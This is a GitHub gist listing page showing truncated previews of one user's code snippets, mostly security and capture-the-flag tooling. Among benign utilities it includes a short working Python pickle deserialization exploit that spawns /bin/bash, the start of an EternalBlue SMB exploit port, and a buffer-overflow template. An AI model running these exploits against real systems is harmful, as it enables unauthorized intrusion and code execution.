Skip to content

Instantly share code, notes, and snippets.

View Reelix's full-sized avatar
🏠
Working from home

Reelix Reelix

🏠
Working from home
View GitHub Profile
using System;
using System.Collections.Generic;
using System.IO;
using System.Linq;
using System.Windows.Forms; // DLL Reference for SendKeys
namespace SniffedUSBKeyboardDataReplicator
{
class Program
{
@Reelix
Reelix / sshv.cs
Created September 25, 2018 01:49
A simple C# app to get the version of a remote IPs SSH client
using System;
using System.Net.Sockets;
using System.Text;
namespace SSHv
{
internal class Program
{
private static void Main(string[] args)
{
@Reelix
Reelix / median.cs
Created September 25, 2018 02:15
Finding the Median value of a List
class Program
{
static void Main(string[] args)
{
List<double> exampleOne = new List<double> { 1, 3, 3, 6, 7, 8, 9 };
List<double> exampleTwo = new List<double> { 1, 2, 3, 4, 5, 6, 8, 9 };
List<double> exampleThree = new List<double> { 0, 1, 2, 4, 6, 5, 3 };
double medianOne = exampleOne.Median();
double medianTwo = exampleTwo.Median();
double medianThree = exampleThree.Median();
@Reelix
Reelix / Viewer.cs
Created January 9, 2019 08:02
C# Torchlight 1 Save Game Viewer
internal class Program
{
private static void Main(string[] args)
{
// https://code.google.com/archive/p/torchtools/wikis/TorchlightFileSpec.wiki
Console.Title = "Reelix's TL1 Save Game Viewer";
byte[] fileBytes = File.ReadAllBytes(@"C:\Users\Reelix\AppData\Roaming\runic games\torchlight\save\0.SVT");
// Remove first 4 - Unsure
fileBytes = RemoveFirstBytes(fileBytes, 4);
@Reelix
Reelix / genericdb.php
Last active June 26, 2022 04:22
A simple PHP script to test for multiple DB connections in PHP
<?php
// File created by Reelix (HTB: Reelix)
// Enter your Host, username, password, database below.
$host = "localhost";
$dbuser = "dbusername";
$dbpass = "dbpassword";
$db = "";
$query = "";
if (isset($_GET["db"]))
@Reelix
Reelix / rsa.py
Last active February 16, 2024 22:59
Python3 Simple RSA CTF Solver
# python3 -m pip install pycryptodome==3.4.3
from Crypto.Util.number import inverse, long_to_bytes
import decimal, binascii
# If you have the id_rsa.pub or equivalent
# ssh-keygen -f id_rsa.pub -e -m PKCS8 > id_rsa.pem
# If you have a private key (pem) file
# - http://certificate.fyicenter.com/2145_FYIcenter_Public_Private_Key_Decoder_and_Viewer.html
# -- Fill in n, e, d, p, q (Note: numeric values of n,d,p,q - Not displayed hex values)
@Reelix
Reelix / pypickle.py
Last active September 22, 2021 16:56
Python2+3 Pickle Deserialization Exploit
# Ref: https://davidhamann.de/2020/04/05/exploiting-python-pickle/
# Ref: https://frichetten.com/blog/escalating-deserialization-attacks-python/
# Note: Do not have a file in the directory named pickle.py or this will crash
import os
import pickle
import base64
class PickleSploit(object):
def __reduce__(self):
return (os.system, ('/bin/bash', ))
pickled = pickle.dumps(PickleSploit())
@Reelix
Reelix / 42031-eternal-blue.py
Last active July 13, 2023 12:59
A fixed python3 version of 42031 (Eternal Blue) with usage steps
#!/usr/bin/python3
from impacket import smb
from struct import pack
import sys
import socket
'''
EternalBlue exploit for Windows 7/2008 by sleepya
The exploit might FAIL and CRASH a target system (depended on what is overwritten)
@Reelix
Reelix / sploit.py
Last active August 9, 2022 21:42
Reelix's Buffer Overflow Template (Linux)
from pwn import *
### Change These ###
file_name = "./file.elf"
offset_loc = 48 # Buffer Overflow Val -> cyclic_find(b'kaaalaaa', n=4) # Buffer Overflow Val = RBP
isremote = True # Local or SSH?
### Uncomment + Change if local ###
# libc = ELF(''/lib/x86_64-linux-gnu/libc-2.27.so') # gdb ./file -> break main -> run -> info proc map
@Reelix
Reelix / rextrtact.py
Created September 24, 2021 10:38
Badly Coded Multi Extract Solver For CTF Challenges
#!/bin/python3
import os, sys
# Argument
file = sys.argv[1]
print("Processing " + file)
filetype = os.popen('file ' + file).read()
print("Type: " + filetype)